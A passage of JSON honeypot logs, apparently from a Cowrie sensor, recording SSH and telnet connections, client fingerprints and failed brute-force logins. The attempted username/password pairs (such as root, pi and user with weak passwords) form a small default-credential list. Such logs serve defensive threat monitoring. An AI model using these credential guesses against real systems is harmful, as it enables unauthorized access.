tm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:57.625643Z","src_ip":"91.92.40.171","session":"6d057b51273d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:57.822611Z","src_ip":"91.92.42.133","session":"83c767b90e1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":35112,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d62a3216151","protocol":"ssh","message":"New connection: 91.92.42.133:35112 (159.203.135.109:22) [session: 2d62a3216151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:00.613212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:01.327138Z","src_ip":"91.92.42.133","session":"2d62a3216151","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:01.330597Z","src_ip":"91.92.42.133","session":"2d62a3216151","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":46968,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9ca7af93222","protocol":"ssh","message":"New connection: 91.92.40.171:46968 (159.203.135.109:22) [session: b9ca7af93222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:02.301918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:02.378232Z","src_ip":"91.92.40.171","session":"b9ca7af93222","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:03.173445Z","src_ip":"91.92.42.133","session":"2d62a3216151","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"1234567890","message":"login attempt [fastuser/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:04.175814Z","src_ip":"91.92.40.171","session":"6d057b51273d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:04.687339Z","src_ip":"91.92.42.133","session":"2d62a3216151","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:06.206846Z","src_ip":"91.92.40.171","session":"6d057b51273d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48106,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac0140b94d78","protocol":"ssh","message":"New connection: 91.92.40.171:48106 (159.203.135.109:22) [session: ac0140b94d78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:06.533325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:06.778199Z","src_ip":"91.92.40.171","session":"ac0140b94d78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:06.781806Z","src_ip":"91.92.40.171","session":"ac0140b94d78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":49598,"dst_ip":"159.203.135.109","dst_port":23,"session":"63cda9f20de0","protocol":"telnet","message":"New connection: 166.62.124.255:49598 (159.203.135.109:23) [session: 63cda9f20de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:07.127645Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"1111","message":"login attempt [user/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:07.233176Z","src_ip":"91.92.40.171","session":"ac0140b94d78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:07.555208Z","src_ip":"91.92.40.171","session":"b9ca7af93222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":49068,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d3211a94d39","protocol":"ssh","message":"New connection: 91.92.42.133:49068 (159.203.135.109:22) [session: 2d3211a94d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:08.197782Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:08.347167Z","src_ip":"91.92.40.171","session":"ac0140b94d78","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:08.429946Z","src_ip":"91.92.42.133","session":"2d3211a94d39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:08.441344Z","src_ip":"91.92.42.133","session":"2d3211a94d39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.162.112.209","src_port":57264,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5a7cde5c422","protocol":"telnet","message":"New connection: 18.162.112.209:57264 (10.17.0.5:23) [session: e5a7cde5c422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:09.590213Z"}
{"eventid":"cowrie.login.failed","username":"test1","password":"123456789","message":"login attempt [test1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:09.756058Z","src_ip":"91.92.40.171","session":"b9ca7af93222","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"1","message":"login attempt [pi/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:10.667258Z","src_ip":"91.92.42.133","session":"2d3211a94d39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:11.466485Z","src_ip":"91.92.40.171","session":"b9ca7af93222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48170,"dst_ip":"159.203.135.109","dst_port":22,"session":"b338797c6553","protocol":"ssh","message":"New connection: 91.92.40.171:48170 (159.203.135.109:22) [session: b338797c6553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:12.057189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:12.061322Z","src_ip":"91.92.40.171","session":"b338797c6553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:12.078321Z","src_ip":"91.92.42.133","session":"2d3211a94d39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:12.167071Z","src_ip":"91.92.40.171","session":"b338797c6553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:12.427459Z","src_ip":"91.92.40.171","session":"b338797c6553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:13.623674Z","src_ip":"91.92.40.171","session":"b338797c6553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.213.181.192","src_port":39618,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3a1facc75d2","protocol":"telnet","message":"New connection: 43.213.181.192:39618 (10.17.0.5:23) [session: c3a1facc75d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:14.503996Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40938,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f7ba9fff737","protocol":"ssh","message":"New connection: 91.92.42.133:40938 (159.203.135.109:22) [session: 6f7ba9fff737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:15.107223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:15.401112Z","src_ip":"91.92.42.133","session":"6f7ba9fff737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:15.432811Z","src_ip":"91.92.42.133","session":"6f7ba9fff737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47732,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c7c90f6ac39","protocol":"ssh","message":"New connection: 91.92.40.171:47732 (159.203.135.109:22) [session: 5c7c90f6ac39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:17.585448Z"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:17.602542Z","src_ip":"91.92.42.133","session":"6f7ba9fff737","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:17.610031Z","src_ip":"91.92.40.171","session":"5c7c90f6ac39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:17.706151Z","src_ip":"91.92.40.171","session":"5c7c90f6ac39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:18.093455Z","src_ip":"91.92.40.171","session":"5c7c90f6ac39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:19.064901Z","src_ip":"91.92.42.133","session":"6f7ba9fff737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:19.367038Z","src_ip":"91.92.40.171","session":"5c7c90f6ac39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40976,"dst_ip":"159.203.135.109","dst_port":22,"session":"56fb8434e211","protocol":"ssh","message":"New connection: 91.92.42.133:40976 (159.203.135.109:22) [session: 56fb8434e211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:21.138129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:22.032305Z","src_ip":"91.92.42.133","session":"56fb8434e211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 